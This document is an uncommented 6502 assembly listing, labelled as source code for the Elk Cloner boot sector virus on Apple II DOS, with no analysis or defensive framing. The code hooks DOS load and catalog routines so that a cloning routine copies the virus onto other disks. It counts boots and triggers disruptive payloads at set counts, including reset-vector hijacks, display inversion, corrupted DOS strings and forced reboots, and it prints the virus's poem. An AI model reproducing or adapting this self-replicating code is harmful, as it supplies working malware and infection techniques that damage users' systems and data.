Elk Cloner Boot Sector Virus Source Code

    ORG $9000
VERSN   DFB $02
HIMEM   LDA #$FF
    STA $4C
    LDA #$8F
    STA $4D
DOPTCH  LDA #$20
    STA $A180
    LDA #$5B
    STA $A181
    LDA #$A7
    STA $A182
RUNPTCH LDA #$AD
    STA $A4D1
    LDA #$B6
    STA $A4D2
    LDA #$AA
    STA $A4D3
LODPTCH LDA #$4C
    STA $A413
    LDA #>LOD
    STA $A414
    LDA #<LOD
    STA $A415
BLDPTCH LDA #$4C
    STA $A35D
    LDA #>BLOD
    STA $A35E
    LDA #<BLOD
    STA $A35F
CATPTCH LDA #$4C
    STA $A56E
    LDA #>CATALOG
    STA $A56F
    LDA #<CATALOG
    STA $A570
USRPTCH LDA #$4C
    STA $0A
    LDA #>USRCMD
    STA $0B
    LDA #<USRCMD
    STA $0C
BOOTUP  CLD
    JSR READ
    LDX $B3BF
    INX
    STX $B3BF
    JSR WRITE
    JSR DESTROY
    JMP $A180
TESTON  LDA #$00
    STA FLAG1
    LDA $AA68
    STA $B7EA
    JSR READ
    LDA $B3C2
    CMP VERSN
    BEQ TESTON1
    LDA #$01
    STA FLAG1
TESTON1 RTS
LOD JSR TESTON
    LDA FLAG1
    CMP #$00
    BEQ LOD1
    JSR CLONE
LOD1    JSR $A316
    JMP $A416
BLOD    JSR TESTON
    LDA FLAG1
    CMP #$00
    BEQ BLOD1
    JSR CLONE
BLOD1   JSR $A2A8
    JMP $A360
CATALOG JSR TESTON
    LDA #$06
    JSR $A2AA
    LDA $B5BF
    STA $AA66
    LDA FLAG1
    CMP #$00
    BEQ RETURN
    JSR CLONE
RETURN  LDA #$0
    STA $B3BE
    STA $B3BF
    STA $B3C0
    RTS
CLONE   CLC
    JSR READ
    LDA IDENT
    STA $B3C0
    LDA VERSN
    STA $B3C2
    JSR WRITE
    LDA $AA68
    STA $B7EA
    LDA #$02
    STA $B7F4
    STA $B7EC
    LDA #$08
    STA $B7ED
    LDA #$0
    STA $B7EB
    STA $B7F0
    LDA #$95
    STA $B7F1
CLONE1  LDA #$B7
    LDY #$E8
    JSR $B7B5
    CLD
    BCC CLONE2
    RTS
CLONE2  DEC $B7ED
    DEC $B7F1
    LDA $B7F1
    CMP #$8F
    BNE CLONE1
    LDA #$02
    STA $B7F1
    LDA #$01
    STA $B7F4
    STA $B7EC
    LDA #$0
    STA $B7ED
    LDA #$B7
    LDY #$E8
    JSR $B7B5
    CLD
    BCC CLONE3
    RTS
CLONE3  LDA #$4C
    STA $280
    LDA #$00
    STA $281
    LDA #$9B
    STA $282
    LDA #$02
    STA $B7F4
    LDA #$B7
    LDY #$E8
    JSR $B7B5
    CLD
    BCC CLONE4
    RTS
CLONE4  LDA #$0
    STA $B7EC
    LDA #$A
    STA $B7ED
    LDA #$95
    STA $B7F1
    LDA #$B7
    LDY #$E8
    JSR $B7B5
    CLD
    RTS
READ    LDA #$01
    STA $B7F4
    JMP VTOC
WRITE   LDA #$02
    STA $B7F4
VTOC    LDA #$11
    STA $B7EC
    LDA #$0
    STA $B7ED
    LDA #$BB
    STA $B7F0
    LDA #$B3
    STA $B7F1
    LDA #$0
    STA $B7EB
    LDA #$B7
    LDY #$E8
    JSR $B7B5
    CLD
    RTS
PRINT   STY $FC
    STA $FD
    LDY #$00
PRINT0  LDA ($FC),Y
    CMP #$00
    BEQ PRINT1
    JSR $FDED
    INY
    JMP PRINT0
PRINT1  RTS
PRTMSG  LDY #>MSG
    LDA #<MSG
    JSR PRINT
PRTNUM  LDA IDENT
    STA $44
    JSR $AE42
    LDA #$8D
    JSR $FDED
    RTS
MSG ASC 'ELK CLONER V2.0 # '
    DFB $0
IDENT   DFB $1
FLAG1   DFB $00
RET RTS
USRCMD  JSR $E6FB
    CPX #$0B
    BNE CMD2
    JSR PRTMSG
    RTS
CMD2    CPX #$0C
    BNE CMD3
    LDY #>REPORT
    LDA #<REPORT
    JSR PRINT
    JSR READ
    LDA $B3BF
    STA $44
    JSR $AE42
    LDA #$8D
    JSR $FDED
    RTS
CMD3    CPX #$0D
    BNE CMD4
    JSR CLONE
    RTS
CMD4    CPX #$0A
    BNE USRERR
    JSR PRPOEM
    RTS
USRERR  LDY #>UERR
    LDA #<UERR
    JSR PRINT
    JSR $FBDD
    JMP $9DBF
UERR    DFB $8D
    ASC 'ILLEGAL QUANTITY ERROR'
    DFB $0
PRPOEM  JSR $FC58
    LDY #>POEM
    LDA #<POEM
    JSR PRINT
    RTS
REPORT  ASC 'BOOT COUNT: '
    DFB $0
POEM    ASC 'ELK CLONER:'
    DFB $8D,$8D
    ASC '   THE PROGRAM WITH A PERSONALITY'
    DFB $8D,$8D,$8D
    ASC 'IT WILL GET ON ALL YOUR DISKS'
    DFB $8D
    ASC 'IT WILL INFILTRATE YOUR CHIPS'
    DFB $8D
    ASC 'YES IT'
    DFB $A7
    ASC 'S CLONER!'
    DFB $8D,$8D
    ASC 'IT WILL STICK TO YOU LIKE GLUE'
    DFB $8D
    ASC 'IT WILL MODIFY RAM TOO'
    DFB $8D
    ASC 'SEND IN THE CLONER!'
    DFB $8D,$8D,$8D,$8D,$0
IOERR   LDY #>ERRMSG
    LDA #<ERRMSG
    JSR PRINT
    JSR $FBDD
    JMP $9DBF
ERRMSG  DFB $8D,$8D
    ASC 'I/O ERROR'
    DFB $8D,$00
DESTROY LDA $B3BF
    CMP #10
    BNE DEST1
    LDA #$69
    STA $3F2
    LDA #$FF
    STA $3F3
    JSR $FB6F
    RTS
DEST1   CMP #15
    BNE DEST2
    LDA #$3F
    STA $32
    RTS
DEST2   CMP #20
    BNE DEST3
    LDA $C030
    LDA $C030
    LDA $C030
    RTS
DEST3   CMP #25
    BNE DEST4
    LDA #$7F
    STA $32
    RTS
DEST4   CMP #30
    BNE DEST5
    LDA #'I'
    STA $B3A7
    LDA #'T'
    STA $B3A8
    LDA #'B'
    STA $B3A9
    LDA #'A'
    STA $B3AA
    RTS
DEST5   CMP #35
    BNE DEST6
    LDA #$85
    STA $AAB2
    RTS
DEST6   CMP #40
    BNE DEST7
    LDA #$00
    STA $3F2
    LDA #$03
    STA $3F3
    JSR $FB6F
    LDA #$4C
    STA $300
    LDA #$00
    STA $301
    LDA #$03
    STA $302
    RTS
DEST7   CMP #45
    BNE DEST8
    LDA #$80
    STA $D6
    RTS
DEST8   CMP #50
    BNE DEST9
    LDA #>PRPOEM
    STA $3F2
    LDA #<PRPOEM
    STA $3F3
    JSR $FB6F
    RTS
DEST9   CMP #55
    BNE DEST10
    LDA #$FF
    STA $BDD3
    RTS
DEST10  CMP #60
    BNE DEST11
    LDA #$20
    STA $BDD3
    RTS
DEST11  CMP #65
    BNE DEST12
    LDA #$4C
    STA $A180
    LDA #$69
    STA $A181
    LDA #$FF
    STA $A182
    RTS
DEST12  CMP #70
    BNE DEST13
    LDA #$10
    STA $BDD3
    RTS
DEST13  CMP #75
    BNE DEST14
    JMP $C600
DEST14  CMP #76
    BNE DEST15
    JMP $C600
DEST15  CMP #77
    BNE DEST16
    JMP $C600
DEST16  CMP #78
    BNE DEST17
    JMP $C600
DEST17  CMP #79
    BNE DEST18
    JSR READ
    LDA #$00
    STA $B3BF
    JSR WRITE
    RTS
DEST18  RTS
LOADER  ORG $9500
    LDA #$02
    STA $B7EC
    LDA #$01
    STA $B7F4
    LDA #$03
    STA $B7ED
    LDA #$0
    STA $B7EB
    STA $B7F0
    LDA #$90
    STA $B7F1
LOAD1   LDA #$B7
    LDY #$E8
    JSR $B7B5
    INC $B7ED
    INC $B7F1
    LDA $B7F1
    CMP #$96
    BCC LOAD1
    JMP HIMEM